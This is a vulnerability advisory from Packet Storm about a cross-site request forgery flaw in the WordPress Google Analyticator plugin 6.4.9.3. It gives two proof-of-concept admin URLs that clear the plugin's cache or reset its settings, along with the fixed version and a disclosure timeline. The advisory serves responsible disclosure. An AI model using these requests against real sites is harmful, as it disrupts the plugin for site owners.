WordPress Google Analyticator 6.4.9.3 CSRF

2015-06-20T00:00:00
ID PACKETSTORM:132384
Type packetstorm
Reporter Nitin Venkatesh
Modified 2015-06-20T00:00:00

Description

                                        
                                            `# Title: Cross-Site Request Forgery in Google Analyticator Wordpress Plugin  
v6.4.9.3 before rev @1183563  
# Submitter: Nitin Venkatesh  
# Product: Google Analyticator Wordpress Plugin  
# Product URL: https://wordpress.org/plugins/google-analyticator/  
# Vulnerability Type: Cross-Site Request Forgery [CWE-352]  
# Affected Versions: v6.4.9.3 before rev @1183563 and possibly earlier  
# Tested versions: v6.4.9.3 rev @1168849  
# Fixed Version: v6.4.9.3 rev @1183563  
# Link to code diff: https://plugins.trac.wordpress.org/changeset/1183563/  
# CVE Status: None/Unassigned/Fresh  
  
## Product Information:  
  
Google Analyticator makes it super easy to view Google Analytics within  
your WordPress dashboard. This eliminates the need to edit your template  
code to begin logging. Google Analyticator also includes several widgets  
for displaying Analytics data in the admin and on your blog.  
  
One of the most popular WordPress plugins for Google Analytics! Over 3.5+  
million downloads.  
  
## Vulnerability Description:  
  
The administrative actions allowed by the plugin can be exploited using  
CSRF which could be used to disrupt the functionality provided by the  
plugin.  
  
## Proof-of-Concept:  
  
http://localhost/wp-admin/options-general.php?page=google-analyticator.php&pageaction=ga_clear_cache  
  
http://localhost/wp-admin/options-general.php?page=ga_reset  
  
## Solution:  
  
Upgrade to v6.4.9.3 rev @1183563  
  
## Disclosure Timeline:  
  
2015-05-30 - Contacted developer via forums.  
2015-06-02 - Vulnerability details submitted on the forums on developer's  
request -  
https://wordpress.org/support/topic/discovered-security-vulnerabilities-1  
2015-06-13 - Re-contacted developer on the forums.  
2015-06-18 - Update released.  
2015-06-19 - Publishing to Full Disclosure mailing list  
  
## Disclaimer:  
  
This disclosure is purely meant for educational purposes. I will in no way  
be responsible as to how the information in this disclosure is used.  
  
  
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